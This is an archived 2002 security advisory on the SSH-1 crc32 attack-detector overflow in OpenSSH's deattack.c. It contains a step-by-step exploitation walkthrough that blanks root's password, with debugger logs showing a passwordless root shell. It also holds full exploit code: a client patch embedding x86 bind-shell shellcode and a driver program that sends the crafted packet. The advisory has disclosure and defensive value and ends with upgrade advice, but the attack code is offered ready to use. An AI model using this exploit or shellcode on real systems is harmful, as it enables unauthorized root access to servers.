26th Sep 2002 [SBWID-4636]
COMMAND

	    ssh
	
	

SYSTEMS AFFECTED

	    SSH
	
	

PROBLEM

	    Paul  Starzetz  posted  following.   This  advisory  discusses the
	    recently discovered security hole in the crc32 attack detector  as
	    found in common ssh packages like OpenSSH and derivates using  the
	    ssh-1 protocoll.  There is a possible overflow during  assignemnet
	    from 32bit  integer to  16bit wide  one leading  to unmasked  hash
	    table offsets.  For original advisory, see:
	
	        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/ssh30.html
	
	    In this article Paul will try to show how:
	    a) exploit  the  crc32  hole  to  gain  remote access to  accounts
	       without  providing  any  password,  assuming remote sshd allows
	       empty passwords
	    b) change login-uid if valid account on the remote machine exists.
	
	    We  are  aware  about  the  wide  consequences  arising  form this
	    disclosure  and  possibly  some  people  will hate us because Paul
	    wrote this,  but after  you have  read this  article, you will see
	    that the exploitation is really  hard and tricky but on  the other
	    hand interessting.  We think that the impact of the crc32 hole  is
	    greater than the recent bind bug.  Authors are not responsible for
	    any damage resulting from this code, if you use this on your own.
	
	    The exploit  code is  a set  of patches  to openssh-2.1.1,  but of
	    course one may want to put the needed routines into one code file.
	
	    Lets look at the vulnerable code  in deattack.c.   We will  derive
	    few  conclusions  about  exploitation  of  the deattack code here.
	    Original deattack.c  code taken  from OpenSSH-2.1.1,  interessting
	    locations are marked with [n]:
	
	        int
	        detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
	        {
		        static u_int16_t *h = (u_int16_t *) NULL;
		        static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
		        register u_int32_t i, j;
		        u_int32_t l;
		        register unsigned char *c;
		        unsigned char *d;
	
		        if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
		            len % SSH_BLOCKSIZE != 0) {
			        fatal("detect_attack: bad length %d", len);
		        }
	
	        [1]
		        for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
			        ;
	
		        if (h == NULL) {
			        debug("Installing crc compensation attack detector.");
	        [2]		n = l;
			        h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
		        } else {
			        if (l > n) {
				        n = l;
				        h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
			        }
		        }
	
		        if (len <= HASH_MINBLOCKS) {
			        for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {
				        if (IV && (!CMP(c, IV))) {
					        if ((check_crc(c, buf, len, IV)))
						        return (DEATTACK_DETECTED);
					        else
						        break;
				        }
				        for (d = buf; d < c; d += SSH_BLOCKSIZE) {
					        if (!CMP(c, d)) {
						        if ((check_crc(c, buf, len, IV)))
							        return (DEATTACK_DETECTED);
						        else
							        break;
					        }
				        }
			        }
			        return (DEATTACK_OK);
		        }
		        memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);
	
		        if (IV)
			        h[HASH(IV) & (n - 1)] = HASH_IV;
	
		        for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
	        [3]		for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
			             i = (i + 1) & (n - 1)) {
				        if (h[i] == HASH_IV) {
					        if (!CMP(c, IV)) {
						        if (check_crc(c, buf, len, IV))
							        return (DEATTACK_DETECTED);
						        else
							        break;
					        }
	        [4]			} else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
					        if (check_crc(c, buf, len, IV))
						        return (DEATTACK_DETECTED);
					        else
						        break;
				        }
			        }
	        [5]		h[i] = j;
		        }
		        return (DEATTACK_OK);
	        }
	
	    [2] as wee see here, a  32bit int value is assigned to  16bit wide
	    only one.  Bad things happen, if n is assigned a (truncated) value
	    0, because the value of  n-1, where nwould expand to  32bit before
	    the calculation  is made  is used  as bit  mask for following hash
	    table operation [3].  Because l is computed to be a power of 4  in
	    [1], we do not need to  know the exact value for the  len argument
	    of detect_attack.  We will end  with n beeing exactly 0 if  len is
	    big  enough.  The  overflow  happens  at  exactly  LEN  = (16384 /
	    HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.
	
	    So now we know how to set  n to 0. Simply send a ssh1  packet with
	    size exceeding  LEN. But  are we  able to  send such long packets?
	    The answer is  yes, after looking  at the code  of packet handling
	    code in packet.c  we see that  the maximum accepted  packet len is
	    256 kbytes.
	
	    But what  we can  do with  this? The  answer is  simple: after the
	    value of n has been set to  0, we can access all sshd's memory  by
	    providing out_of_range  hash indexes  which are  taken as (network
	    order)  values  from  the  packet  buffer  itself (due to the HASH
	    function  beeing  simple  GET_32BIT),  whose  have to be 'unsigned
	    short' index  values.   The detect_attack  code will  scan 8 bytes
	    long blocks checking them for crc32 attack using only the first  4
	    bytes of each block as hash table index.  So we can set the  other
	    half of the  buf blocks to  arbitrary values without  consequences
	    to what we are indexing.
	
	    So having n=0 we can change  really any value in the memory!   For
	    example to write to the variable  X having the value V we  need to
	    supply the Vth buf block with  an offset to X in server's  memory,
	    offset because  it would  be calculated  relative to  the value of
	    'h', which  has been  allocated by  a call  to xm(re)alloc().  The
	    value of h has indeed to be guessed, though (or in other words  we
	    need to guess the offset to h).
	
	    But this would only write V to to X because 'j' which is the value
	    we write in [5] counts blocks in buf. As you see from [3] and  [4]
	    there is a condition  for writing to memory.   The block number  V
	    has to be  identical with the  block obtained by  buf + h[i]  * 8,
	    which means  that we  need 2  blocks: first  a 'self  termination'
	    block with  the number  V and  another block  with the  number 'k'
	    where k is the new  value we want to write  to X.  Note that  with
	    this technique we can only increase the value of X !
	
	    There  are  2  other  conditions:  the UNUSED_HASH and the HASH_IV
	    condition, though, we do not discuss them here.
	
	    Lets analyse the condition we need to enter detect_attack code  at
	    all.  From packet.c it can  bee seen that we need the  session key
	    to be set, so the first posibility to enter detect_attack is after
	    the ssh_kex code  in auth1.c.   This makes the  exploitation a bit
	    tricky, because we need to send encrypted packets.
	
	    So one  may ask,  how to  send an  encrypted packet containing the
	    needed offsets if we must always encrypt our data before  sending?
	    We  can  deal  with  it  easilly  maintaning a copy of the receive
	    context as sshd sees it.   After the seesion key has been  set (it
	    is the same  for sending and  receiving) we need  to _decrypt_ all
	    packets we send to  sshd. With this trick  we are able to  produce
	    the plaintext needed for construction of desired encrypted packet.
	
	    Let us look at the format  of ssh-1 packets.  They are  always 8*n
	    (packets containing other data  amount are padded) bytes  long and
	    contains an (encrypted!) checksum at the end of packet:
	
	        (LEN)[001][002][003][004]...[XXX]
	
	    where [...] stands for a 8-byte  long block and (LEN) is a  32 bit
	    value carrying the length information (network order!).  The  last
	    [XXX] block would be like
	
	        [PPPPCCCC]
	
	    with P standing for padding or data and C for the crc32  checksum.
	    The checksum is calculated  over all packet bytes  _excluding_ the
	    checksum location  but including  the last  32 bits  of the packet
	    (padding or data) and then stored  at the end of packet and  after
	    that the  resulting packet  is encrypted  with the  current cipher
	    context (usually send_context in packet.c).
	
	    There are  2 another  difficulties too,  one can  point out.   The
	    first is  that after  we have  sent a  big packet  setting 'n'  in
	    detect_attack to 0, n will be still 0 in succeding calls and  this
	    will result in an endles loop in [1].  Therefore our packet _must_
	    overwrite the static variable n in detect_attack subroutine!
	
	    Because  we  have  xrealloc'ed  the  buffer  h  with  the new size
	    n*HASH_ENTRYSIZE which would expand to  0, the buffer h cannot  be
	    assumed to point to  any valid memory... So  the only way to  deal
	    with this is to send  only _small_ packets matching the  condition
	    len  <  HASH_MINBLOCKS.   For  example  we  have  to  disable  tty
	    allocation (-T option) in the following exploit code.  Never enter
	    more than about 36 bytes on the prompt.
	
	    The second real hard problem is the value of PPPP.   Detect_attack
	    will scan the  buf for crc32  compensation attack _including_  the
	    last block  with crc  and pad.  But we  cannot really controll the
	    encrypted value  of P  because the  ciphers work  always on 8 byte
	    long blocks mixing the 2 32bit values with each other (Paul didn't
	    found any simple way to deal with this).  So the question is:  how
	    the PPPP  bytes have  to be  in order  to obtain defined encrypted
	    value at the P's position  _after_ we calculated the cheksum?   We
	    doubt that this problem  is solvable at all.   However, we use  at
	    this point  the UNUSED_HASH  termination condition.   After n  has
	    been set again by our big packet to a value != 0 we need to  match
	    the condition h[PPPP  & n-1] ==  0xffff.  See  below to understand
	    how Paul is doing this.
	
	    So now  we know  all about  the detect_attack  code and the packet
	    format, lets think  about really exploiting  this.  After  we have
	    looked  at  the  authorisation  code  auth1.c   we found 3 ways of
	    possible exploitation in the do_authloop function:
	
	    a) there is a local variable 'int authenticated = 0' which set  to
	       value  !=  0  would  authorise  the  session and start a remote
	       shell immediatelly.
	    b) overwriting the pw->pw_passwd value which should be 'x'00  on
	       systems with shadow passwords with something like 00'x' would
	       produce  a  remote  shell  too  if  sshd  has  'emptypasswords'
	       enabled.
	    c) overwriting pw->pw_uid with some value would change the uid the
	       remote shell is running after successfull athentication.
	
	    You will very fast figure out, why (a) is not easy exploitable (if
	    at all...).
	
	    It is  time to  describe an  exploitation way  for (b), which Paul
	    decided  to  choose  for  this  article.   Exploiting (c) would be
	    similiar but not really interesting because we can only  increment
	    the uid value.
	
	    Lets summarize, how  our (very very...)  magic and big  packet has
	    to look like:
	    - we put as first cipher block an offset pointing to the  location
	      of n in detect_attack(), so first write h[i]=j will set n=0
	    - we  make  the  0x78th  block  to  point  to  the  location    of
	      pw->pw_passwd (which  point to  somewhat like  0x78 0x00  ... at
	      this time),  this is  our termination  block for  pw->pw_passwd.
	      h[i]=j wouldn't change the value pw->pw_passwd is pointing to
	    - we make  the 0x100th block  to point to  pw->pw_passwd again, so
	      that h[i]=j would  change the value  *(pw->pw_passwd) to be  now
	      0x00 0x01 (which is an empty string, say no password)
	    - the 512th cipher block has to change n in detect_attack() to  be
	      512 so no deadlock occurs in succeding calls to detect_attack().
	    - other cipher block offsets have to be 0x00000000.
	    - and finally we choose the last free (padding) value PPPP of  the
	      packet to match  following condition: network_order(PPPP)  & 511
	      == 0  (brute force  that, PPPP  would be  found very fast...) so
	      that we still have an  _effective_ offset 0x00000000.  After  we
	      played  a  bit  with  this,  Paul  found  that  it is not really
	      necessary to bother about PPPP...
	
	    There are  few other  modifications to  the ssh  code, though.  We
	    mention only that before we  send our magic big packet  there will
	    be a  '0xffff-setting' packet,  only to  set up  the h buffer with
	    0xffff values.
	
	    Another modification we  made is sending  empty password after  we
	    have sent the long packet  in sshconnect1.c.  You will  find other
	    minor changes on yourself...
	
	    Attached are diff files for the openssh-2.1.1 package.  The  patch
	    uses 2 environment  variables called 'OFF'  and 'NOFF', where  OFF
	    has  to  be  the  offset  to  the  variable  we  want to overwrite
	    (pw->pw_passwd), NOFF the  offset to stattic  variable 'n' in  the
	    detect_attack code.
	
	    To  finish  this   discussion  lets  look   at  some   successfull
	    exploitation of sshd.  We have  run sshd in gdb in debugging  mode
	    to simplify  this show,  but you  can try  the code  with your own
	    'real' sshd of course, using apriopriate offsets...
	
	    On the client side:
	
	        ./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l root
	
	    where  -T  prevents  from  sending  ALLOC_PTY  packet, which would
	    exceed the 56 bytes limit, on the server side:
	
	        (gdb) run
	        The program being debugged has been started already.
	        Start it from the beginning? (y or n) y
	        Starting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777 -d
	        -f ./sshd_config -b 512 2>&1
	        debug: sshd version OpenSSH_2.1.1
	        debug: Seeding random number generator
	        debug: read DSA private key done
	        debug: Seeding random number generator
	        debug: Bind to port 7777 on 0.0.0.0.
	        Server listening on 0.0.0.0 port 7777.
	        Generating 512 bit RSA key.
	        debug: Seeding random number generator
	        debug: Seeding random number generator
	        RSA key generation complete.
	        debug: Server will not fork when running in debugging mode.
	        Connection from 127.0.0.1 port 3743
	        debug: Client protocol version 1.5; client software version
	        OpenSSH_2.1.1
	                debug: Local version string SSH-1.99-OpenSSH_2.1.1
	        debug: Sent 512 bit public key and 1024 bit host key.
	        debug: Encryption type: blowfish
	        debug: stored copy of send context
	        debug: Received session key; encryption turned on.
	
	        Breakpoint 1, detect_attack (
	            buf=0x80f9d14
	        "V=C9zZ=ED2360535b=ACI205:I@N4c;r227=B3W204=CB=D422=C6=B5lTaO=
	        25=A1=AE=CB6227+w177=FAN32@17=B0$=B7K=EB230=F3Cb=C4225,_~(b=EE=
	        =D0=A9l6136
	        if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	        (gdb) c
	        Continuing.
	        debug: Installing crc compensation attack detector.
	        debug: Attempting authentication for root.
	
	        (here I have added some debugging code to detect_attack in order to
	        easilly gain offsets :-)
	
	        debug: PASSWORD ADR = 0xbffff08c :  80f8890  80f9c88        0
	        debug: passwd = [x]
	        debug: name = [root]
	
	        Breakpoint 1, detect_attack (
	            buf=0x80f9d14
	        "q9216203=C8ac]uuE235A13nQ22=B703oj8=DCo+[e=EB207X=FF=AEr[=F37=
	        23330=AB=DF%=CF=CD=B7=D9R=F2207l1230y=BF(=AD211=A10420737
	        27&
	            len=528, IV=0x0) at deattack.c:136
	        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	
	        (gdb) x 0x80f9c88
	        0x80f9c88:      0x400c0078
	
	        As we see here, 0x400c0078 is the stored 'x'00 value from /etc/passwd,
	        which indicates that root has a shadow password.
	
	        (gdb) p len
	        $15 = 528
	
	        the packet received is the '0xffff' packet which would prepare the
	        memory region h with UNUSED_HASH values, ok lets continue:
	
	        (gdb) c
	        Continuing.
	        Unknown message during authentication: type 248
	        debug: Unknown message during authentication: type 248
	        Failed bad-auth-msg-248 for ROOT from 127.0.0.1 port 3743
	
	    Ok, sshd ignored  the 0xffff packet,  the client side  is guessing
	    now the value of PPPP.  Lets see what happens as next:
	
	        Breakpoint 1, detect_attack (buf=0x8100144 "177=FEa0=FF=FF=FF=FF", len=88072,
	        IV=0x0) at deattack.c:136
	        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	        (gdb) p len
	        $16 = 88072
	        (gdb) p n
	        $17 = 4096
	
	        Got big packet! Lets step into the detect_atack code:
	
	        (gdb) n
	        140             for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l ==
	         l
	        << 2)
	        .
	        .
	        .
	        (gdb) p n
	        $18 = 0
	
	    So now  we have  set n=0  and n-1  = 0xffffffff  and can overwrite
	    memory.   After  few  loops   we  check  again  the  location   of
	    pw->pw_passwd:
	
	        (gdb) x 0x80f9c88
	        0x80f9c88:      0x400c0100
	
	    Oooops, root seems to have no  password now!  Lets run the  loop a
	    bit longer:
	
	        (gdb) p n
	        $25 = 512
	        (gdb) p j
	        $26 = 785
	
	    We see that at this point we  have set n back to be 0x200  and can
	    enter detect_attack  again. Lets  check now  the termination value
	    for the last iteration in  [3], which has to be  UNUSED_HASH (note
	    the network order offsets):
	
	        (gdb) x/16 buf + len - 8
	        0x8115944:      0xf5966c0d      0xb7ef464b      0x09000000
	        0xeed64f1a
	        0x8115954:      0x2c1b8d66      0x891bb13a      0x527c53d0
	        0x00000000
	
	        (gdb) x/16 &h[0x0d6c96f5 & 511]
	        0x80fdf1a:      0xffffffff      0xffffffff      0xffffffff
	        0xffffffff
	        0x80fdf2a:      0xffffffff      0xffffffff      0xffffffff
	        0xffffffff
	
	    Ok, it looks fine,  lets continue the loop  till the end and  hope
	    that sshd wouldn't die after overwriting 0x80fdf1a with the  value
	    of j upon the end of the [3] loop. It will take about 120  seconds
	    on a P-100 machine to complete  the loop (yes, Paul wrote this  on
	    an old P-100/64mb.
	
	        (gdb) c
	        Continuing.
	        Unknown message during authentication: type 237
	        debug: Unknown message during authentication: type 237
	        Failed bad-auth-msg-237 for ROOT from 127.0.0.1 port 3747
	
	        Breakpoint 1, detect_attack (buf=0x8115950
	        "32O=D6=EEf215e,:=B1e211=D0S|R", len=16, IV=0x0) at deattack.c:136
	        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	
	    Oooops^2, now  we have  fooled sshd  to believe  that root doesn't
	    have a  password set,  set n  to be  != 0  and we are still alive.
	    SUCCESS!  So it is not difficult to imagine what happens now:
	
	        (gdb) c
	        Continuing.
	        Accepted password for ROOT from 127.0.0.1 port 3747
	        debug: session_new: init
	        debug: session_new: session 0
	
	        Breakpoint 1, detect_attack (buf=0x8100144
	        "30=A9=A0=D1'233=C7*o=E521w(=C735v", len=16, IV=0x0) at deattack.c:136
	        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	
	    We didn't supply any password  at all.  After continuation  we get
	    an interactive session for root:
	
	        (gdb) c
	        Continuing.
	        Unknown packet type received after authentication: 9
	
	        Breakpoint 1, detect_attack (buf=0x8100158 "=BE=E1BAS=A3=F8y=FF=FF=FF=FF", len=8,
	        IV=0x0) at deattack.c:136
	        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	        (gdb) c
	        Continuing.
	        debug: Entering interactive session.
	        debug: fd 9 setting O_NONBLOCK
	        debug: fd 11 setting O_NONBLOCK
	        debug: server_init_dispatch_13
	        debug: server_init_dispatch_15
	
	    On the client side we see this (no pty):
	
	        Permission denied, please try again.
	        debug: Requesting shell.
	        debug: Entering interactive session.
	        Environment:
	          USER=root
	          LOGNAME=root
	          HOME=/root
	          PATH=/usr/bin:/bin:/usr/sbin:/sbin
	          MAIL=/var/spool/mail/root
	          SHELL=/bin/bash
	          SSH_CLIENT=127.0.0.1 3747 7777
	        id
	        uid=0(root) gid=0(root)
	        groups=0(root),1(bin),12(mail),14(uucp),15(shadow),16(dialout),42(trust=
	        ed),100(users),101(untrusted),65534(nogroup)
	
	    That's all!
	
	    Hugo Dias added  following.  This  is the exploit  for the bug  in
	    file  deattack.c  in  the  portable  version of openssh-2.2.0 (and
	    possible below).  We need to  know several numbers for it to  work
	    so it's very difficult to use the exploit on the wild.
	    1. We need to  know is the EXACT  distance of the variable  "h" to
	       the  2  last  bytes  of  the  saved  EIP  in  the stack with an
	       increment of 2 bytes.
	    2. This is the number that we place instead of the two first bytes
	       (last two bytes are the first two bytes of the address)
	       Example : 0x0806d3de
	       We will  replace 0x0806  for the  address we  want, so  we will
	       replace 0xde 0xd3 0x06 0x08 for 0xde 0xd3 0x0f 0x08 that is the
	       address of the buffer with the shellcode.
	    3. Packet Length
	    4. REAL  packet length.  The shellcode  will go  in the difference
	       between this two lengths,as the sshd server reads 8192(?) bytes
	       at time.
	
	    Then we need the host and the port number.
	
	    Finnaly we kneed a small number that doesn't cause SEG FAULT.   It
	    doesn't matter how  large is it  as long as  it doesn't cause  any
	    segment error.  It can be 0,1,2,3,...
	
	    Example :
	
	        ./xp 30988 0 114200 117280 127.0.0.1 22 3
	
	    This works on  Linux Mandrake 7.2  using "sshd -d"  being debugged
	    with GDB, but it's  possible to attach a  SSHD child with GDB  and
	    find the numbers  we need for  this to work  with the daemon.   If
	    the SSHD child doesn't SEG FAULT in the beggining (we can do  that
	    easily by trying a few numbers) it will take more than 10  seconds
	    to process the packet and that is sufficient to attach the process
	    without changing its code and put a "sleep(15)" in it.
	
	    We need to be root... for  doing this ...  Finding the  numbers we
	    need without being root is very difficult.  And without no  access
	    to any user in  the system at all  its even more difficult.   This
	    addresses  changes  with  the  plataform, operating system, packet
	    length...
	
	    BUT its  possible to  do it  (pheraps by  reproducing exactly  the
	    victim environment) and thats why Hugo wrote this.
	
	    Diff file to modify an ssh client for using it with the exploit:
	
	    --- packet.c Sat Oct 14 06:23:12 2000
	    +++ packet.c Tue Feb 20 09:33:00 2001
	    @@ -68,6 +68,85 @@
	     #define DBG(x)
	     #endif
	    
	    +
	    +/*
	    + *  Linux/x86
	    + *  TCP/36864 portshell (old, could be optimized further)
	    + */
	    +
	    +char shellcode[] = /* anathema <anathema@hack.co.za> */
	    +/* main: */
	    +"xebx72"                                /* jmp callz               */
	    +/* start: */
	    +"x5e"                                    /* popl %esi               */
	    +
	    +  /* socket() */
	    +"x29xc0"                                /* subl %eax, %eax         */
	    +"x89x46x10"                            /* movl %eax, 0x10(%esi)   */
	    +"x40"                                    /* incl %eax               */
	    +"x89xc3"                                /* movl %eax, %ebx         */
	    +"x89x46x0c"                            /* movl %eax, 0x0c(%esi)   */
	    +"x40"                                    /* incl %eax               */
	    +"x89x46x08"                            /* movl %eax, 0x08(%esi)   */
	    +"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
	    +"xb0x66"                                /* movb $0x66, %al         */
	    +"xcdx80"                                /* int $0x80               */
	    +
	    +  /* bind() */
	    +"x43"                                    /* incl %ebx               */
	    +"xc6x46x10x10"                        /* movb $0x10, 0x10(%esi)  */
	    +"x66x89x5ex14"                        /* movw %bx, 0x14(%esi)    */
	    +"x88x46x08"                            /* movb %al, 0x08(%esi)    */
	    +"x29xc0"                                /* subl %eax, %eax         */
	    +"x89xc2"                                /* movl %eax, %edx         */
	    +"x89x46x18"                            /* movl %eax, 0x18(%esi)   */
	    +"xb0x90"                                /* movb $0x90, %al         */
	    +"x66x89x46x16"                        /* movw %ax, 0x16(%esi)    */
	    +"x8dx4ex14"                            /* leal 0x14(%esi), %ecx   */
	    +"x89x4ex0c"                            /* movl %ecx, 0x0c(%esi)   */
	    +"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
	    +"xb0x66"                                /* movb $0x66, %al         */
	    +"xcdx80"                                /* int $0x80               */
	    +
	    +  /* listen() */
	    +"x89x5ex0c"                            /* movl %ebx, 0x0c(%esi)   */
	    +"x43"                                    /* incl %ebx               */
	    +"x43"                                    /* incl %ebx               */
	    +"xb0x66"                                /* movb $0x66, %al         */
	    +"xcdx80"                                /* int $0x80               */
	    +
	    +  /* accept() */
	    +"x89x56x0c"                            /* movl %edx, 0x0c(%esi)   */
	    +"x89x56x10"                            /* movl %edx, 0x10(%esi)   */
	    +"xb0x66"                                /* movb $0x66, %al         */
	    +"x43"                                    /* incl %ebx               */
	    +"xcdx80"                                /* int $0x80               */
	    +
	    +  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
	    +"x86xc3"                                /* xchgb %al, %bl          */
	    +"xb0x3f"                                /* movb $0x3f, %al         */
	    +"x29xc9"                                /* subl %ecx, %ecx         */
	    +"xcdx80"                                /* int $0x80               */
	    +"xb0x3f"                                /* movb $0x3f, %al         */
	    +"x41"                                    /* incl %ecx               */
	    +"xcdx80"                                /* int $0x80               */
	    +"xb0x3f"                                /* movb $0x3f, %al         */
	    +"x41"                                    /* incl %ecx               */
	    +"xcdx80"                                /* int $0x80               */
	    +
	    +  /* execve() */
	    +"x88x56x07"                            /* movb %dl, 0x07(%esi)    */
	    +"x89x76x0c"                            /* movl %esi, 0x0c(%esi)   */
	    +"x87xf3"                                /* xchgl %esi, %ebx        */
	    +"x8dx4bx0c"                            /* leal 0x0c(%ebx), %ecx   */
	    +"xb0x0b"                                /* movb $0x0b, %al         */
	    +"xcdx80"                                /* int $0x80               */
	    +
	    +/* callz: */
	    +"xe8x89xffxffxff"                    /* call start              */
	    +"/bin/sh";
	    +
	    +
	     /*
	      * This variable contains the file descriptors used for communicating with
	      * the other side.  connection_in is used for reading; connection_out for
	    @@ -125,6 +204,9 @@
	     /* Session key information for Encryption and MAC */
	     Kex *kex = NULL;
	    
	    +/* Packet Number */
	    +int count = 0;
	    +
	     void
	     packet_set_kex(Kex *k)
	     {
	    @@ -461,6 +543,8 @@
	      unsigned int checksum;
	      u_int32_t rand = 0;
	    
	    + count++;
	    +
	      /*
	       * If using packet compression, compress the payload of the outgoing
	       * packet.
	    @@ -1172,7 +1256,64 @@
	     void
	     packet_write_poll()
	     {
	    - int len = buffer_len(&output);
	    + int len;
	    + char buf[50],*p,*ptr;
	    + char code[270000];
	    + long sz;
	    + FILE *f;
	    +
	    + if (count == 2)
	    + {
	    +  f = fopen("/tmp/code","r");
	    +  fgets(buf,28,f);
	    +  fclose(f);
	    +
	    +  sz = GET_32BIT(&buf[24]);
	    +  buffer_clear(&output);
	    +  buffer_append(&output,code,sz);
	    +
	    +  len = buffer_len(&output);
	    +
	    +    ptr = buffer_ptr(&output);
	    +
	    +  for(p = ptr + 4 ; p < ptr + GET_32BIT(&buf[16]) ; p+=8)
	    +  {
	    +  *p=buf[0];
	    +  *(p+1)=buf[1];
	    +  *(p+2)=buf[2];
	    +  *(p+3)=buf[3];
	    +  *(p+4)=buf[4];
	    +  *(p+5)=buf[5];
	    +  *(p+6)=buf[6];
	    +  *(p+7)=buf[7];
	    +  }
	    +
	    +  sz = ((GET_32BIT(&buf[20]) + 8) & ~7);
	    +
	    +  for(p = p ; p < ptr + sz ; p+=8)
	    +  {
	    +  *p=buf[8];
	    +  *(p+1)=buf[9];
	    +  *(p+2)=buf[10];
	    +  *(p+3)=buf[11];
	    +  *(p+4)=buf[12];
	    +  *(p+5)=buf[13];
	    +  *(p+6)=buf[14];
	    +  *(p+7)=buf[15];
	    +  }
	    +
	    +  sz = len - GET_32BIT(&buf[20]);
	    +
	    +  memset(p,'x90',sz);
	    +  memcpy(p+sz-strlen(shellcode)-16,&shellcode,strlen(shellcode));
	    +  memcpy(ptr,&buf[20],4);
	    +
	    +  count++;
	    + }
	    +
	    + len = buffer_len(&output);
	    +
	    +
	      if (len > 0) {
	       len = write(connection_out, buffer_ptr(&output), len);
	       if (len <= 0) {
	    @@ -1299,3 +1440,4 @@
	      max_packet_size = s;
	      return s;
	     }
	    +
	    
	    /*
	    
	    THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.
	    
	    BlackSphere - Hugo Oliveira Dias
	    Tue Feb 20 16:18:00 2001
	    
	    Email: bsphere@clix.pt
	    Homepage: http://planeta.clix.pt/bsphere
	    
	    Exploit code for using the modified ssh
	    
	    */
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <unistd.h>
	    #include <sys/types.h>
	    #include <sys/stat.h>
	    #include <fcntl.h>
	    
	    /* Path to modified ssh */
	    #define PATH_SSH "./ssh"
	    
	    int main(int argc,char *argv[])
	    {
	     int f;
	     int port;
	     unsigned long addr,*ptr;
	     char *buffer,*aux,ch,*ssh;
	     int i;
	    
	     if (argc < 8)
	     {
	      printf("nUsage : %s <saved eip> <count> <packet length> <username length> <host> 
	    <port> <h(i)>nn",argv[0]);
	    
	      fflush(stdout);
	      _exit(0);
	     }
	    
	     port=atoi(argv[6]);
	    
	     buffer = (char *) malloc(29);
	    
	     ptr = (unsigned long *) buffer;
	    
	     *(ptr++) = 1543007393 + strtoul(argv[1],0,10);
	     *(ptr++) = 0;
	     *(ptr++) = strtoul(argv[7],0,10);
	     *(ptr++) = 0;
	     *(ptr++) = 16520 + strtoul(argv[2],0,10);
	     *(ptr++) = strtoul(argv[3],0,10);
	     *(ptr++) = strtoul(argv[4],0,10);
	    
	     buffer[29]=0;
	    
	     for(i = 0 ; i < 27 ; i+=4)
	     {
	      aux = buffer + i;
	      ch=*aux;
	      *aux=*(aux+3);
	      *(aux+3)=ch;
	      ch=*(aux+1);
	      *(aux+1)=*(aux+2);
	      *(aux+2)=ch;
	     }
	    
	     printf("nSaved Eip : &h + %u",1543007393 + strtoul(argv[1],0,10));
	     printf("nReturn Address : 0x%xxxxx",(16520+strtoul(argv[2],0,10))/8);
	     printf("nPacket Length : %u",(strtoul(argv[3],0,10)+8) & ~7);
	     printf("nUsername Length : %unn",strtoul(argv[4],0,10));
	     fflush(stdout);
	    
	    
	     f = open("/tmp/code",O_RDWR | O_CREAT,S_IRWXU);
	     write(f,buffer,28);
	     close(f);
	    
	     ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));
	    
	     strcpy(ssh,PATH_SSH);
	    
	     sprintf(ssh+strlen(PATH_SSH)," -p %i -v -l root %s",port,argv[5]);
	    
	     printf("%sn",ssh);
	    
	     system(ssh);
	    
	     _exit(0);
	    }
	
	

SOLUTION

	    Now  you  will  probably  understand,  why  the crc32 hole is very
	    difficult to exploit.  Also  any brute force approach one  may try
	    would consume the network bandwith...  Nevertheless, upgrade  your
	    sshd as soon as possible.
	
	 Update
	 ======
	
	The  fixed  ssh-nonfree/ssh-socks  packages  are  available  in  version
	1.2.27-6.2 for use with Debian 2.2 (potato)  and  version  1.2.27-8  for
	use with the Debian unstable/testing distribution.